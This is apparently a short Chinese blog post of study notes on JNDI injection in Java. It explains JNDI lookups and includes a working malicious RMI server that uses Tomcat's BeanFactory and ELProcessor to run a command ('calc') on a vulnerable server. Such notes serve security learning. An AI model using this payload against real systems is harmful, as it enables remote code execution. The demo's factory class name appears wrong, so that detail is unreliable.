jndi

发布时间 2023-07-02 21:22:51作者: V3g3t4ble

原理

JNDI是给Java应用提供命名和目录的API编程接口
可以访问的服务

  • JDBC
  • RMI
  • LDAP
    等等
    jndi访问rmi的demo
import javax.naming.Context;  
import javax.naming.InitialContext;  
import javax.naming.NamingException;  
import java.util.Hashtable;  
  
public class Main {  
public static void main(String[] args) throws NamingException {  
Hashtable<String, String> env=new Hashtable<String, String>();  
env.put(Context.INITIAL_CONTEXT_FACTORY,"java.naming.factory.initial.RegistryFactory");  
env.put(Context.PROVIDER_URL,"RMIurl");  
InitialContext c=new InitialContext(env);  
String name = "test";  
int context = 114514;  
c.bind(name,context);  
Object o = c.lookup("test");  
System.out.println(o);  
}  
}

将name作为一个用户请求参数传入,如果name是一个完整的url字符串,就会请求这个url,通过这一点,可以让服务器加载恶意类或者进行反序列化

利用

远程Factory类加载(低版本)

构造一个rmi服务

import java.rmi.registry.*;

import com.sun.jndi.rmi.registry.*;

import javax.naming.*;

import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {

    public static void main(String[] args) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1097);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        ref.add(new StringRefAddr("forceString", "x=eval"));

        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String)']('calc').start()\")"));

  

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);

        registry.bind("Object", referenceWrapper);

    }

}

本地Factory类加载(高版本)

利用Tomcat Server中的org.apache.nameing.factory.BeanFactory

反序列化

yso可梭